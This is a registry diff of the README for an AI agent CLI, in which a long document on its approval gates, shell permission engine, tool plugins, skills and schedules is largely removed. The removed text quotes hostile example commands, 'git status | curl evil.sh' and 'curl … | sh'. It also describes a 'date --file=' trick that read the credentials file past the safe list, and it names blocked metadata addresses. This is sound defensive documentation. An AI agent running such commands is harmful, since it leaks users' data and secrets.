@stratusagent/cli 0.9.1 → 0.10.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,13 +1,16 @@
1
1
  # @stratusagent/cli
2
2
 
3
- Stratus Agent CLI — create always-on agents that get smarter over time. Quickly set up Stratus Agent on your machine, create new agents, connect AI providers, and configure channels.
3
+ **Always-on agents that get smarter over time.** Set up Stratus Agent on
4
+ your machine, create agents with real identities, connect AI providers, and
5
+ put them in Slack — from one command.
4
6
 
5
- <img width="2400" height="1004" alt="image" src="https://github.com/user-attachments/assets/ef16d58f-694c-406e-b201-aee61b093753" />
7
+ <!-- Pinned to the commit that added the asset so it renders on any ref
8
+ (including this branch pre-merge) and on npm, which needs an absolute
9
+ URL. Replacing the banner means updating this pin. -->
10
+ ![Stratus Labs](https://raw.githubusercontent.com/stratuslabs/agent/265bc175e60fd901b339095215439505606755bc/docs/assets/stratus-banner.png)
6
11
 
7
12
  ## Install
8
13
 
9
- Needs **Node.js 22.13+** — the gateway's session store uses `node:sqlite`, which runs unflagged from 22.13. On the 23.x line that landed separately, in **23.4**, so 23.0–23.3 are too old despite the higher number. Every package declares the range, and the CLI checks it at startup, so an unsupported Node gets a line naming what it needs rather than a missing-builtin error later on.
10
-
11
14
  ```bash
12
15
  npm install -g @stratusagent/cli
13
16
  stratus setup
@@ -15,1020 +18,105 @@ stratus setup
15
18
 
16
19
  That one package is everything you need to run agents: the runtime, the
17
20
  providers, the agent roster, and the always-on gateway all come with it.
21
+ Needs **Node.js 22.13+** (23.x line: 23.4+) — the CLI checks at startup and
22
+ says so plainly if yours is too old. Details:
23
+ [Installation](https://github.com/stratuslabs/agent/blob/main/docs/start/installation.md).
18
24
 
19
- ### Optional channel packages
20
-
21
- Channels are the exception — the CLI ships **no** transport, so an install that
22
- never touches Slack never carries the Slack SDKs (~9 MB). Add the one you want
23
- alongside the CLI and `stratus serve` picks it up automatically:
24
-
25
- ```bash
26
- npm install -g @stratusagent/channel-slack
27
- ```
28
-
29
- You rarely have to type that. Connect an agent in `stratus setup` → **Channels**
30
- and **Save & finish** offers the install, because storing tokens is already the
31
- decision to use Slack — see [What Save & finish offers](#what-save--finish-offers).
32
-
33
- If tokens are stored for an agent but the package isn't installed, `stratus
34
- serve` says so and starts anyway, serving every other channel.
35
-
36
- ### Optional tool plugins
37
-
38
- Capability is optional in the same way, and gated more tightly. A plugin runs
39
- inside the daemon's process, so **installing one does not run it** — it runs
40
- when a trusted config lists and enables it, and then only for the agents whose
41
- souls name its tools:
42
-
43
- ```bash
44
- npm install -g @stratusagent/tool-fs @stratusagent/tool-web
45
- ```
46
-
47
- See [Tools](#tools-what-an-agent-can-actually-do) for the config block and what
48
- each pack does.
49
-
50
- ### Optional control API and dashboard
51
-
52
- Same idea, and the same reason: installing it is how you say you want a port
53
- open. With it present, `stratus serve` also serves an authenticated HTTP +
54
- WebSocket API on `127.0.0.1:4123`.
55
-
56
- ```bash
57
- npm install -g @stratusagent/control-api @stratusagent/dashboard
58
- ```
59
-
60
- Two packages, because the API has three consumers and only one of them is a
61
- web page — the macOS app and a headless VM want the API without a UI. Install
62
- `@stratusagent/control-api` alone for those; add `@stratusagent/dashboard` and
63
- the API serves the web UI at `/` as well.
64
-
65
- That API is what every non-terminal surface talks to — the web dashboard and
66
- the macOS app alike. Its full reference (endpoints, auth, the event envelope)
67
- lives in [its own README](https://github.com/stratuslabs/agent/tree/main/packages/control-api).
68
-
69
- Two files appear while it is serving, both `0600`:
70
-
71
- | File | What |
72
- | --- | --- |
73
- | `~/.stratus/gateway-token` | The bearer token clients authenticate with |
74
- | `~/.stratus/gateway.json` | Where the daemon is reachable — url, host, port, pid — removed on a clean stop |
75
-
76
- Turn it off with `stratus serve --no-api`, or in `~/.stratus/config.json`:
77
-
78
- ```jsonc
79
- {
80
- "api": {
81
- "enabled": true,
82
- "host": "127.0.0.1",
83
- "port": 4123
84
- }
85
- }
86
- ```
87
-
88
- Like `approvals`, this block is read **only** from a config you chose
89
- yourself — the global `~/.stratus/config.json` or one passed with `--config`.
90
- An auto-discovered project-local `stratus.config.json` ships in any
91
- repository, and which interface a daemon binds is not a decision a cloned repo
92
- gets to make; one that tries is ignored, loudly.
93
-
94
- Localhost is the posture. To reach a machine at home, put it behind a tunnel
95
- (Tailscale is the pattern we recommend) rather than binding a public
96
- interface.
97
-
98
- ### The dashboard
99
-
100
- ```bash
101
- stratus dashboard
102
- ```
103
-
104
- It finds a running daemon through `~/.stratus/gateway.json`, or starts one in
105
- the foreground when there is none (and says which it did). Then it mints a
106
- **single-use, short-lived sign-in link** and opens your browser at it — the
107
- one thing a browser cannot do for itself, since page JavaScript cannot read
108
- `~/.stratus/gateway-token` and a WebSocket upgrade cannot carry a header.
109
-
110
- The link works once. Run the command again for another. A daemon restart signs
111
- the browser out too, because its sessions live in memory.
112
-
113
- ### Talking to a daemon from another machine
114
-
115
- `stratus agents --gateway <url>` reads the roster from a running daemon
116
- instead of resolving it locally — the same listing, answered by the API:
117
-
118
- ```bash
119
- stratus agents --gateway http://127.0.0.1:4123
120
- ```
121
-
122
- Locally that needs nothing else: the token comes from
123
- `~/.stratus/gateway-token`. A daemon reached through a tunnel has its own
124
- token, so pass it with `--token` or `STRATUS_GATEWAY_TOKEN`.
125
-
126
- ## Setup
127
-
128
- `stratus setup` is the whole onboarding, as a small navigable menu:
129
-
130
- ```
131
- 1) Providers anthropic — signed in with your Claude subscription
132
- 2) Models default claude-opus-5 · fallback gpt-4.1-mini
133
- 3) Agent ~/.stratus/agents/ava.md
134
- 4) Channels Slack: 1 agent connected
135
- 5) Always on stratusd runs after setup, and at every login
136
- 6) Test run say hello with the current settings
137
- 7) Save & finish
138
- ```
139
-
140
- - **Providers** — sign in to one or more. For Claude, choose how you pay: a **Claude Pro/Max subscription** (run `claude setup-token`, paste the token — runs route through the Claude Code runtime, so your plan covers usage; requires Claude Code installed and signed in. Tool runs and memory work there too, so it's the same agent as on an API key) or an **Anthropic API key**, pasted straight into the prompt (input is hidden) and checked against the live API when the endpoint supports it — a rejected key is refused; an unreachable endpoint saves the key and verifies it on your first run. OpenAI-compatible services work like API keys, including local models and proxies via a custom base URL.
141
- - **Models** — pick a **default** and a **fallback**, listed live from the provider APIs where possible (subscription sign-ins and offline setups fall back to the known Claude lineup). If the default model errors mid-run, the run automatically retries on the fallback — even across providers.
142
- - **Menus are keyboard-driven** — arrow keys (or `j`/`k`) to move, Enter to pick, digits to jump, Esc to go back.
143
- - **Agent** — name your agent (or accept a generated identity), describe their personality, and their soul file lands in `~/.stratus/agents/`, ready to edit.
144
- - **Channels** — put an agent on Slack without opening a file. Pick the agent, and setup prints the app manifest with their name already filled in, walks you through the two tokens (input hidden), verifies each against Slack before accepting it, and stores them where `stratus serve` looks. The list marks who is connected; picking a connected agent offers to replace their tokens or disconnect.
145
- - **Always on** — whether the roster keeps answering once you close the terminal. On by default, because an agent you have to remember to start is not always-on, and every Slack app you connected above stays silent until `stratusd` runs. Save & finish installs it (see [Always on](#always-on)); choose *do not run it for me* and setup removes any service it previously installed.
146
- - **Test run** — say hello with the current settings before saving anything.
147
- - **Save & finish** — writes everything, offers any optional package your
148
- choices imply, then installs the always-on service.
149
-
150
- ### What Save & finish offers
151
-
152
- The CLI ships no transport and no open port, so a fresh machine finishes setup
153
- missing the packages its own answers just asked for. Setup knows that before
154
- the daemon does — it stored the Slack tokens itself — so **Save & finish** names
155
- what is missing and offers to install it:
156
-
157
- ```text
158
- 2 optional packages are not installed:
159
- @stratusagent/channel-slack
160
- Slack tokens are stored for 1 agent(s), but nothing connects to Slack without it.
161
- @stratusagent/control-api @stratusagent/dashboard
162
- `stratus dashboard` needs it, and it opens an authenticated port on 127.0.0.1.
163
-
164
- Install now with npm install -g?
165
- > Install all of them now
166
- Install the Slack channel only
167
- Install the Web dashboard only
168
- Skip
169
- ```
170
-
171
- Three things about it worth knowing:
172
-
173
- - **It asks, and anything left uninstalled prints its command** — whether you
174
- skipped the offer entirely or took only one of the two, since choosing one
175
- group is not a decision about the other. The control API binds a port, and
176
- installing it is how an operator says they want one open, so this stays a
177
- question rather than a default.
178
- - **It runs before the service install**, so the LaunchAgent comes up with
179
- those packages already present. A package installed *after* a daemon starts
180
- is invisible to it; that ordering is the whole reason the offer lives here
181
- rather than in a closing hint.
182
- - **A failed install never fails setup.** Your config and credentials are
183
- already written; you get npm's exit code and the command to run yourself.
184
-
185
- Setup only suggests `stratus dashboard` at the end when it can actually work —
186
- a machine that skipped or failed that install is not told to run a command that
187
- would exit with an error.
188
-
189
- Credentials are stored in `~/.stratus/credentials.json` (owner-read-only) and settings in `~/.stratus/config.json`, so `stratus run` works from any directory afterwards. No env vars to export, no config files to hand-edit.
25
+ `stratus setup` is the whole onboarding, as one small menu: sign in (Claude
26
+ Pro/Max subscription or API key, ChatGPT/Codex, or any OpenAI-compatible
27
+ service), pick default and fallback models, create your first agent,
28
+ connect Slack, and
29
+ install the always-on service — no config files to edit, no env vars to
30
+ export. Walkthrough:
31
+ [Setup](https://github.com/stratuslabs/agent/blob/main/docs/start/setup.md).
190
32
 
191
- ## Usage
33
+ ## Commands
192
34
 
193
35
  ```bash
194
36
  stratus setup # onboarding menu: providers, models, agent, channels
195
37
  stratus chat # talk — the conversation persists
196
- stratus chat --soul ./ava.md
197
- stratus run "say hello"
198
- stratus run --soul ./ava.md "introduce yourself"
199
- stratus run --provider anthropic --model claude-opus-5 "hello"
200
- stratus run --prompt "use the echo tool" --format json
38
+ stratus run "say hello" # one-shot run (works offline on the demo provider)
201
39
  stratus serve # stratusd: the whole roster, always on
202
- stratus serve --idle-timeout 120 --no-events
203
40
  stratus serve --approvals remote # ask a human in Slack instead of refusing
204
41
  stratus service install # keep stratusd running under launchd/systemd
205
- stratus service status
206
42
  stratus logs -f # what the daemon has been doing
207
- stratus logs --agent ava -n 200
208
43
  stratus doctor # what a run would use right now, and why
209
- stratus update # the whole upgrade dance, in the safe order
210
- stratus update --check # report what an update would do, do nothing
44
+ stratus update # stop → upgrade → migrate → repair unit → restart
211
45
  stratus agent new # create an agent (guided on a terminal)
212
- stratus agent new --format soul > ava.md
213
46
  stratus agents # who's on the team: souls, models, memory
47
+ stratus skill add owner/repo # install skills from GitHub
214
48
  stratus schedules # what the fleet has scheduled, and where it reports
215
- stratus schedules cancel <id> # stop the next firing, revoke its destination
216
- stratus dashboard # local browser dashboard
217
- ```
218
-
219
- `stratus serve` runs the gateway in the foreground: every agent in your roster
220
- live at once on its own provider and model, sessions in SQLite so they survive
221
- restarts, delegation between agents, a watchdog for stalled turns, and any
222
- installed channels connected. Ctrl+C or SIGTERM drains cleanly.
223
-
224
- ### What the daemon will do on its own
225
-
226
- Tools declare how much damage they could do — `safe`, `gated`, or
227
- `dangerous` — and the daemon runs only the safe ones without asking. Anything
228
- riskier is refused, with a line in the log saying which agent wanted what:
229
-
230
- ```text
231
- 09:14:36 — warning: ava: shell.run is gated and nobody is available to approve it (session slack:ava:…)
232
- ```
233
-
234
- That is the honest default behind a service manager, where there is no
235
- terminal to prompt on. If somebody *is* reachable, `--approvals remote` asks
236
- them instead — see [Asking a human](#asking-a-human-remote-approval).
237
-
238
- A tool that declares no risk counts as `gated`, never `safe` — forgetting to
239
- classify something should cost a prompt, not an unattended command. Most
240
- built-in tools (`demo.echo`, `memory.remember`, `memory.recall`,
241
- `memory.forget`, `agent.delegate`, `schedule.list`, `schedule.cancel`) are
242
- `safe`; the built-in exceptions are `schedule.every`, `schedule.at`, and
243
- `message.send`, which are `gated` because they act past the end of the turn —
244
- see [Proactive agents](#proactive-schedules-and-outbound-messages). Anything
245
- you install is where this starts to bite, which is what the
246
- [Tools](#tools-what-an-agent-can-actually-do) section below is about.
247
-
248
- A **shell** is the exception to the whole paragraph, because its risk is in
249
- its argument rather than in its identity. `shell.run` is `gated`, and the
250
- permission engine then judges each command: a safe scope (`git status`,
251
- `git log`) runs unattended, everything else asks, and a control operator
252
- anywhere in the string disqualifies it however innocent the base command is.
253
- See [Which commands run unattended](#which-commands-run-unattended).
254
-
255
- The line is *acting outside Stratus* — the filesystem, the network, another
256
- service — not cost. Every turn spends provider tokens, including the one
257
- that decided to call a tool, so a policy that gated on spend would have to
258
- gate the conversation itself. Delegation stays `safe` for the same reason:
259
- it hands work to a teammate inside the fleet, that teammate's own tool
260
- calls face this policy again under their allowlist, and the chain is depth
261
- bounded.
262
-
263
- `stratus chat` and `stratus run` are unaffected: at a terminal, `--approvals`
264
- works exactly as before (`always`, `ask`, `never`).
265
-
266
- ### Asking a human: remote approval
267
-
268
- In `remote` mode a gated call does not fail — the turn parks, the request is
269
- posted to Slack with **Allow once**, **Always allow**, and **Deny**, and the
270
- turn resumes on the answer. The question goes to the thread the turn is
271
- happening in, so whoever is talking to the agent sees it where they already
272
- are.
273
-
274
- Turn it on for the daemon with `--approvals remote`, or in
275
- `~/.stratus/config.json` so the installed service picks it up too:
276
-
277
- ```jsonc
278
- {
279
- "approvals": {
280
- "mode": "remote", // headless (default) or remote
281
- "timeoutMs": 900000, // unanswered after 15 minutes → denied (max 2147483647)
282
- "slackApprovers": ["U01OPS"], // who may decide, for every agent
283
- "slackChannel": "C07OPS", // where to ask when the turn isn't in Slack
284
- "agents": {
285
- "ava": { "slackApprovers": ["U01DYLAN"] }
286
- }
287
- }
288
- }
289
- ```
290
-
291
- An agent inherits the top-level route key by key, so `ava` above asks her own
292
- approver in the shared `C07OPS` fallback channel. An explicit
293
- `"slackApprovers": []` on an agent excludes it from the default list — that
294
- agent's gated calls are then denied outright — while omitting the key
295
- inherits.
296
-
297
- **Only a config you chose is allowed to set this block** — `--config`,
298
- `STRATUS_CONFIG`, or the global `~/.stratus/config.json`. An auto-discovered
299
- project-local `stratus.config.json` outranks the global one for provider
300
- settings, but it can be checked into any repository, and appointing the
301
- people who may authorize an agent's tool calls is not something a clone gets
302
- to do. Its `approvals` block is ignored, with a warning naming the file.
303
-
304
- Three things are worth knowing before you turn it on:
305
-
306
- - **Approvers are people, not places.** Posting into a channel does not make
307
- everyone in it an approver: each request is bound to the ids configured for
308
- that agent, and anyone else's click is refused with a notice only they see.
309
- The request stays open for someone who may actually answer it. This matters
310
- most for **Always allow**, which widens what the agent may do unattended.
311
- - **An agent with no approver configured is denied immediately**, not left to
312
- time out — `remote` with nobody listed behaves exactly like `headless`. If
313
- no channel can ask for an agent at all (no Slack tokens for it, or
314
- `@stratusagent/channel-slack` not installed) there is nothing to render the
315
- request, so its gated calls wait out the timeout instead. The daemon names
316
- those agents at startup, rather than leaving you to find out at 3am:
317
-
318
- ```text
319
- approvals: remote — gated calls are parked and asked in Slack (approvers set for ava)
320
- ```
321
- - **A parked turn survives a restart.** The daemon records what has not run
322
- before it asks, so an approval outstanding when it stops is finished when
323
- it starts again — the question is re-asked in Slack, the call runs on the
324
- answer, and anything queued behind it still runs too. The re-asked request
325
- keeps the window it started with rather than getting a fresh one, and a
326
- wait that has already used up its `timeoutMs` is denied instead of
327
- re-asked: downtime is not a reason to extend a security decision.
328
- - **A turn that was mid-flight is failed, not left hanging.** Parking is the
329
- one state a restart can resume from — a turn that stopped anywhere else
330
- (waiting on the provider, inside a tool, or on an approval asked by an
331
- agent billed through a Claude subscription, which is deliberately not
332
- checkpointed) cannot be. Those sessions come back marked `failed`, with a
333
- reason saying stratusd stopped while they were running and to send the
334
- message again, rather than claiming to still be running forever. This is
335
- only for an ungraceful stop: a normal restart denies what is parked and
336
- finishes the turns those denials release before it exits. The thread hears
337
- about it too: a turn that fails with nobody rendering it is reported where
338
- it was asked, rather than going quiet and reading as an agent that never
339
- replied.
340
- - **A button left behind by a dead daemon corrects itself when clicked.** A
341
- normal shutdown retracts its buttons; a crash cannot, and the new process
342
- has no record of what the old one posted. Clicking such a prompt tells you
343
- it is no longer pending *and* rewrites the message so the next reader is
344
- not offered a decision nothing is waiting for. A prompt nobody clicks
345
- stays as it is.
346
- - **Always allow means different things for a tool and for a command.** For
347
- an ordinary tool it lasts for the session: it stops that tool asking again
348
- in the same conversation, and it is forgotten when the daemon restarts.
349
- For a call that carries a command — `shell.run` — it persists a *scope*
350
- instead, in `~/.stratus/agents/<id>.whitelist.json`, and that survives a
351
- restart. See below for what a scope keeps out.
352
-
353
- The request shows the tool's **arguments**, not just its name — for anything
354
- whose danger lives in what it was called with, approving a bare tool name is
355
- approving something you cannot see. Arguments are escaped (a model-written
356
- argument cannot mention or broadcast to the workspace through the prompt)
357
- and truncated with a visible notice when they are long.
358
-
359
- Requests are also denied — visibly, with a reason — when they expire, when
360
- the turn is cancelled, when the daemon shuts down, and when a turn reaches a
361
- gated call while the daemon is already stopping. Every one of those retracts
362
- the buttons in Slack, so a message never keeps offering a decision with
363
- nowhere to land.
364
-
365
- `timeoutMs` is capped at 2147483647 (~24.8 days), the longest timer Node can
366
- hold. A larger value is rejected at startup rather than accepted: it would
367
- not wait longer, it would expire every approval almost immediately.
368
-
369
- Approval buttons need the Slack app's **Interactivity** switched on. Apps
370
- created from the manifest that `stratus setup` prints already have it; an app
371
- created before this shipped needs it enabled once, in its App Manifest.
372
-
373
- ## Tools: what an agent can actually do
374
-
375
- Out of the box an agent can echo, remember, recall and forget its own
376
- memories, and delegate. Everything else —
377
- files, a shell, the web, a browser — arrives as a **plugin**: one package you
378
- install, list, and enable.
379
-
380
- ```bash
381
- npm install -g @stratusagent/tool-fs @stratusagent/tool-shell \
382
- @stratusagent/tool-web @stratusagent/tool-browser
383
- ```
384
-
385
- ```jsonc
386
- // ~/.stratus/config.json
387
- {
388
- "plugins": {
389
- "@stratusagent/tool-fs": {
390
- "enabled": true,
391
- "roots": ["~/notes"],
392
- "agents": {
393
- "ava": { "roots": ["~/work/ava"] },
394
- "juno": { "roots": ["~/work/juno", "~/shared"] }
395
- }
396
- },
397
- "@stratusagent/tool-web": { "enabled": true },
398
- "@stratusagent/tool-shell": { "enabled": true, "cwd": "~/work" }
399
- }
400
- }
401
- ```
402
-
403
- Keyed by **package name**, because a plugin's identity is its package and one
404
- may contribute more than tools. Per-agent settings go in an `agents` sub-block
405
- over the defaults above them — the same shape `approvals` already uses, and it
406
- matters more here: for `tool-fs` those values are an access boundary between
407
- agents rather than a preference.
408
-
409
- **Only a config you chose may list plugins** — `--config`, `STRATUS_CONFIG`, or
410
- the global `~/.stratus/config.json`. A plugin runs in the daemon's own process,
411
- so this list is a list of code, and an auto-discovered project-local
412
- `stratus.config.json` ships with any repository you clone. Its `plugins` block
413
- is ignored, with a warning naming the file, exactly as `api` and `approvals`
414
- are.
415
-
416
- `stratus run` and `stratus chat` load the same plugins from the same config, so
417
- a tool that works locally works in the daemon, and one that is missing is
418
- missing in both.
419
-
420
- ### Installing a plugin grants no agent anything
421
-
422
- The soul's allowlist is the second gate, and the per-identity one:
423
-
424
- ```markdown
425
- ---
426
- id: ava
427
- tools: [fs.read, fs.search, web.fetch]
428
- ---
429
- ```
430
-
431
- `fs.*` grants a whole toolset, so an agent given "the filesystem" does not need
432
- editing every time the pack gains a tool. The prefix keeps its dot: `fs.*`
433
- never matches `fsx.read`. Listing nothing grants every registered tool, which
434
- is fine for a private agent and is not what you want once a shell is installed.
435
-
436
- ### What is available
437
-
438
- | Package | Tools | Risk |
439
- | --- | --- | --- |
440
- | [`@stratusagent/tool-fs`](../tool-fs) | `fs.read`, `fs.list`, `fs.search` | `safe` inside the agent's roots |
441
- | | `fs.write` | `gated` |
442
- | [`@stratusagent/tool-shell`](../tool-shell) | `shell.run` | `gated`, then judged per command |
443
- | [`@stratusagent/tool-web`](../tool-web) | `web.fetch` | `gated` |
444
- | [`@stratusagent/tool-browser`](../tool-browser) | `browser.goto`, `.read`, `.screenshot` | `gated` |
445
- | | `browser.act` | `dangerous` — always a human |
446
- | [`@stratusagent/plugin-mcp`](../plugin-mcp) | `mcp.<server>.<tool>` — any MCP server's tools, discovered at connect | `gated`, whatever the server says; per-tool `toolRisks` overrides |
447
-
448
- Each package's README carries its own settings and the reasoning behind its
449
- risk levels. Three things are worth knowing here:
450
-
451
- - **`tool-fs` roots are a boundary, not a preference.** No roots means no
452
- filesystem — nothing is readable, rather than everything. Containment is
453
- decided between real paths, so a symlink inside a root pointing at
454
- `~/.stratus/credentials.json` is refused, and so is a write *through* a
455
- symlinked directory.
456
- - **`tool-shell` replaces the environment.** The command gets exactly what
457
- you granted (`passEnv`, `env`) and nothing else — the daemon's own
458
- environment, where `ANTHROPIC_API_KEY` lives, is not there to read.
459
- - **`tool-web` and `tool-browser` refuse local addresses.** Both share one
460
- policy: `http:`/`https:` only, and no loopback, RFC 1918, link-local
461
- (`169.254.169.254`), or IPv6 unique-local — including the IPv4-mapped and
462
- NAT64 spellings of the same addresses. It is enforced on the connection,
463
- so a redirect or a DNS answer cannot walk an agent into your metadata
464
- endpoint. `allowedHosts` opens a specific one when you mean to.
465
- - **`plugin-mcp` mounts somebody else's code.** Each configured MCP server's
466
- tools register as `mcp.<server>.<tool>`, so `tools: [mcp.linear.*]` grants
467
- one server, and every bridged tool is `gated` regardless of how the
468
- server describes itself — the operator's per-tool `toolRisks` entry is
469
- the only thing that lowers one. A stdio server's environment is replaced
470
- the way `tool-shell`'s is. See [the bridge's README](../plugin-mcp) for
471
- server settings and lifecycle.
472
-
473
- `GET /api/v1/catalog/tools` lists what a running daemon actually has, and the
474
- dashboard's **Plugins** screen renders it — including a plugin you enabled that
475
- failed to load, which is invisible in a list of tools.
476
-
477
- ### Which commands run unattended
478
-
479
- `shell.run` is one tool whose calls range from `git status` to `curl … | sh`,
480
- so a single risk level for all of them would be either too coarse to be safe or
481
- too coarse to be usable. The permission engine judges the command instead:
482
-
483
- 1. **Scopes approved this session**, then
484
- 2. **the agent's whitelist** — `~/.stratus/agents/<id>.whitelist.json`, written
485
- by **Always allow** — then
486
- 3. **the built-in safe list**: `git status`, `git log`, `git diff`, `git show`,
487
- `git blame`, `git rev-parse`, `git ls-files`, plus `git branch`, `git tag`,
488
- and `git remote` **in their listing forms only** — creating a branch or a
489
- tag needs no flag at all (`git branch release` is a mutation), so those
490
- scopes refuse any positional argument, not just the destructive flags.
491
- `pwd`, `whoami`, and `uname` round it out.
492
-
493
- Anything else asks, and in `headless` mode anything else is refused with the
494
- command in the log.
495
-
496
- **A control operator disqualifies the whole command**, whatever it starts
497
- with: `|`, `&`, `;`, a newline, backticks, `$( )`, subshells, redirection.
498
- `git status | curl evil.sh` is refused despite the safe base command; so is a
499
- two-line command whose first line is innocent. A command this parser cannot
500
- read the way `sh` would — an unbalanced quote, a path instead of a command
501
- name — is refused too.
502
-
503
- **Always allow persists a scope, not a command.** Approving
504
- `git push origin main` stores `git push` minus its destructive forms, so
505
- `git push origin feature` stops asking while these still ask:
506
-
507
- ```text
508
- git push --force # a destructive flag
509
- git push origin :main # a branch delete, with no flag involved
510
- git push origin +main # a forced update, likewise
511
- ```
512
-
513
- The whitelist file is `0600` and per agent: it decides what runs with nobody
514
- watching, so neither another account on the machine nor another agent inherits
515
- it. Delete an entry to withdraw the permission.
516
-
517
- ### What the log records about a command
518
-
519
- The scope, never the command:
520
-
521
- ```text
522
- 09:14:36 — warning: ava: shell.run was called outside every approved scope (git) and nobody is available to approve it
523
- 09:16:02 — ava: "git push" now runs without asking
524
- ```
525
-
526
- The daemon log is a trace, not a second transcript — it records that a tool
527
- ran, never what it was called with. A command an agent composed can carry a
528
- URL, a filename, or something a person pasted into a chat, and this file is
529
- one `stratus logs` prints and people paste into issues. The command itself
530
- goes to whoever is being asked to approve it: the terminal prompt and the
531
- Slack message both show it in full, because approving a bare tool name is
532
- approving something you cannot see.
533
-
534
- The safe list is deliberately short, and `cat`, `ls`, and `grep` are the
535
- tempting entries that cannot be on it — they read whatever path they are given,
536
- so safe-listing them would safe-list reading your credentials file. Approve
537
- them once for a scope you actually want instead.
538
-
539
- The test is **what an argument can make the command do**, not what the command
540
- is called. `date` was on this list until it turned out that
541
- `date --file=~/.stratus/credentials.json` makes GNU `date` read that file and
542
- echo every unparseable line back in its error text — which the tool returns.
543
- A command that can be handed a path is a file reader wearing another name, so
544
- `--file` is now refused in every scope, including ones you add.
545
-
546
- ## Skills: how an agent does a task well
547
-
548
- Tools are capability; a **skill** is competence — markdown that teaches an
549
- agent a procedure: the rubric for a code review, the order to check things in,
550
- the format to answer in. A skill is a directory with a `SKILL.md`:
551
-
552
- ```text
553
- ~/.stratus/skills/
554
- code-review/
555
- SKILL.md
556
- ```
557
-
558
- ```markdown
559
- ---
560
- name: Code Review
561
- description: Use when reviewing a diff or a pull request.
562
- ---
563
-
564
- # Code review
565
-
566
- Lead with the verdict, then findings ordered by severity...
567
- ```
568
-
569
- The frontmatter is the soul dialect — `name`, `description`, optional
570
- `version`, and an optional `requires:` list of toolsets the procedure expects
571
- (`browser.*`) — read **tolerantly**, unlike a soul's: keys other ecosystems
572
- write (`license`, `allowed-tools`, nested `metadata:`) and YAML's multi-line
573
- descriptions are skipped rather than refused, so a skill published for
574
- another agent loads here unmodified. The directory name is the skill's id.
575
- Plugins can ship skills too, declared in their manifest; those are addressed
576
- by the package name verbatim (`stratus-plugin-github:pr-review`), and by the
577
- bare id while no other package claims it.
578
-
579
- ### Installing skills
580
-
581
- Anything on GitHub laid out as skill directories — including repos published
582
- to [skills.sh](https://skills.sh) — installs directly:
583
-
584
- ```bash
585
- stratus skill add owner/skills-repo # a whole repo of skills
586
- stratus skill add owner/repo --skill hn-search --agent ava
587
- stratus skill add ./my-skills # a local directory
588
- stratus skills # what is installed, and who enables it
589
- ```
590
-
591
- `skill add` takes a GitHub `owner/repo`, any git URL, or a local path; it
592
- finds skills at the repo root, one level down, and in the `skills/`,
593
- `.claude/skills/`, and `.agents/skills/` directories the ecosystem uses, then
594
- copies each **whole directory** into `~/.stratus/skills/`. An id already
595
- installed is refused per skill (`--force` replaces it), and an unparseable
596
- skill is reported while the rest still install.
597
-
598
- **Installed is not enabled.** A skill is markdown, but it is markdown your
599
- agent will *follow*, so installing a repo grants no agent anything — each
600
- soul still opts in through `skills:`. Pass `--agent <id>` to do both at once:
601
- the command appends the installed ids to that soul's list (rendering the file
602
- through the canonical formatter, like the API's field edits do).
603
-
604
- An agent gets a skill only when its soul asks — same allowlist shape as
605
- `tools:`, except that omitting it means **none** (a skill silently changing
606
- how an agent behaves is worse than an agent that has to be told):
607
-
608
- ```markdown
609
- ---
610
- name: Ava
611
- tools: [fs.read, fs.search]
612
- skills:
613
- - code-review
614
- - stratus-plugin-github:*
615
- ---
616
- ```
617
-
618
- **An enabled skill costs one line per turn, not its body.** Only the name and
619
- description reach the system prompt; the agent loads the full procedure with
620
- the built-in `skill.read` tool when the description says it is relevant. That
621
- is what lets a fleet carry thirty procedures without every turn paying for all
622
- thirty. `skill.read` is part of the skills mechanism — never list it under
623
- `tools:`; it appears (and works) for exactly the agents whose soul enables any
624
- skill, and reads only the skills that soul allows.
625
-
626
- **Write the description for routing.** It is the only thing the model sees
627
- before deciding to load the body, so it says *when to reach for this*, not
628
- what the file contains: "Use when reviewing a diff or a pull request", not "A
629
- rubric with twelve sections". A skill without a description does not load.
630
-
631
- A skill whose `requires:` names toolsets the agent's `tools:` does not cover
632
- is a warning when the daemon loads the roster, never a refusal — a skill is
633
- prose, and can degrade. `stratus run` and `stratus chat` serve the same skills
634
- directory the daemon does, so a skill that routes locally routes in Slack.
635
-
636
- ## Proactive: schedules and outbound messages
637
-
638
- Everything above answers when spoken to. Two toolsets make an always-on
639
- daemon into agents that act on their own:
640
-
641
- - **`schedule.every` / `schedule.at`** — recurring (an interval like `"30m"`
642
- or a five-field cron expression, local time) or one-shot (ISO-8601), with
643
- the prompt each firing runs and, optionally, the destination its reports
644
- are pre-authorized to post to.
645
- - **`schedule.list` / `schedule.cancel`** — an agent's own audit and undo.
646
- - **`message.send`** — post to a channel or DM outside the current
647
- conversation: `{ destination: { channel: "slack", to: "C0123456789" }, text }`.
648
- Without it a scheduled turn works in silence.
649
-
650
- Souls opt in like any other tool:
651
-
652
- ```markdown
653
- ---
654
- name: Ava
655
- tools:
656
- - schedule.*
657
- - message.send
658
- ---
659
- ```
660
-
661
- **The approval belongs to the schedule, not to the firing.** Creating a
662
- schedule is `gated`: a human approves "every morning, check the repo, report
663
- to #eng" once — cadence, prompt, and destination together. A `message.send`
664
- from that schedule's firings *to that destination* then runs unattended, in
665
- headless mode included: it is the decision already made, not a new one.
666
- Anywhere else — another channel, a DM, a schedule that declared no
667
- destination — stays gated exactly as in an inbound turn, so under `headless`
668
- it is refused and under `remote` it asks in Slack (in the configured
669
- `approvals.slackChannel`, since a scheduled turn has no thread of its own).
670
- Note that a plain **Allow once** on `schedule.every` therefore mints
671
- something durable — the request shows the cadence, prompt, and destination,
672
- because that is what is being approved.
673
-
674
- The rest of the shape, briefly:
675
-
676
- - **Each firing is its own session** (`schedule:<id>:<slot>`), dispatched
677
- through the same path a channel message takes, marked
678
- `scheduled: true` in metadata. Continuity across firings is what agent
679
- memory is for.
680
- - **Schedules are immutable.** Editing is cancel-plus-create, so the
681
- approval's scope is exactly the row's lifetime.
682
- - **A destination is validated at creation** — the agent's Slack app must be
683
- able to see the conversation and be a member of it — so a schedule that
684
- could never report is refused while somebody is present to hear why, not
685
- at 6am. The same membership check runs on every send: no cold-DMing.
686
- - **Schedules survive restarts** (they live in the daemon's own database),
687
- a slot is consumed *before* its firing dispatches so a crash mid-firing
688
- never double-runs it, and a missed window gets at most one late catch-up —
689
- windows that passed entirely are skipped with a log line.
690
- - **Two limits hold unattended spend down**: an interval floor (default one
691
- minute) and a per-agent cap on concurrent scheduled turns (default one —
692
- a firing that would exceed it waits for the next tick).
693
-
694
